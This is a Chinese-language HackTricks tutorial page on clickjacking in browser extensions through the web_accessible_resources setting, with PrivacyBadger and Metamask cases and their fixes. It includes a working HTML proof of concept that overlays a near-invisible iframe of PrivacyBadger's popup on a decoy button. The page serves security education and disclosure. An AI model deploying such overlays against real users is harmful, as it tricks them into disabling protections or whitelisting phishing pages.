BrowExt - ClickJacking

Reading time: 6 minutes

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)

支持 HackTricks

基本信息

本页面将利用浏览器扩展中的ClickJacking漏洞。
如果你不知道ClickJacking是什么,请查看:

Clickjacking

扩展包含文件**manifest.json**,该JSON文件有一个字段web_accessible_resources。以下是Chrome文档中对此的说明:

这些资源将通过URL chrome-extension://[PACKAGE ID]/[PATH] 在网页中可用,该URL可以通过**extension.getURL method**生成。允许的资源会带有适当的CORS头,因此可以通过XHR等机制访问。1

浏览器扩展中的**web_accessible_resources**不仅可以通过网络访问;它们还具有扩展的固有权限。这意味着它们能够:

  • 更改扩展的状态
  • 加载额外的资源
  • 在一定程度上与浏览器交互

然而,这一特性带来了安全风险。如果**web_accessible_resources**中的某个资源具有任何重要功能,攻击者可能会将该资源嵌入到外部网页中。毫无防备的用户访问此页面时,可能会无意中激活此嵌入的资源。这种激活可能导致意想不到的后果,具体取决于扩展资源的权限和能力。

PrivacyBadger 示例

在扩展PrivacyBadger中,发现了一个与skin/目录被声明为web_accessible_resources相关的漏洞,具体如下(查看原始博客文章):

json
"web_accessible_resources": [
"skin/*",
"icons/*"
]

此配置导致了潜在的安全问题。具体来说,skin/popup.html 文件在与浏览器中的 PrivacyBadger 图标交互时被渲染,可以嵌入在 iframe 中。这种嵌入可能被利用来欺骗用户无意中点击“为此网站禁用 PrivacyBadger”。这样的行为将通过禁用 PrivacyBadger 保护来危害用户的隐私,并可能使用户面临更高的跟踪风险。此漏洞的视觉演示可以在提供的 ClickJacking 视频示例中查看,链接为 https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm

为了解决此漏洞,实施了一个简单的解决方案:从 web_accessible_resources 列表中移除 /skin/*。此更改有效地降低了风险,确保 skin/ 目录的内容无法通过网络可访问资源进行访问或操作。

修复很简单:web_accessible_resources 中移除 /skin/*

PoC

html
<!--https://blog.lizzie.io/clickjacking-privacy-badger.html-->

<style>
iframe {
width: 430px;
height: 300px;
opacity: 0.01;
float: top;
position: absolute;
}

#stuff {
float: top;
position: absolute;
}

button {
float: top;
position: absolute;
top: 168px;
left: 100px;
}
</style>

<div id="stuff">
<h1>Click the button</h1>
<button id="button">click me</button>
</div>

<iframe
src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
</iframe>

Metamask 示例

一个关于 Metamask 中 ClickJacking 的博客文章可以在这里找到。在这种情况下,Metamask 通过检查访问所使用的协议是否为 https:http:(例如不是 chrome:)来修复该漏洞:

另一个在 Metamask 扩展中修复的 ClickJacking 是用户能够在页面被怀疑为钓鱼时 点击以列入白名单,因为 “web_accessible_resources”: [“inpage.js”, “phishing.html”]。由于该页面易受 Clickjacking 攻击,攻击者可以利用它显示一些正常内容,使受害者在未注意的情况下点击以列入白名单,然后再返回到将被列入白名单的钓鱼页面。

Steam Inventory Helper 示例

查看以下页面以检查如何将浏览器扩展中的 XSSClickJacking 漏洞链式结合:

BrowExt - XSS Example

参考文献

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)

支持 HackTricks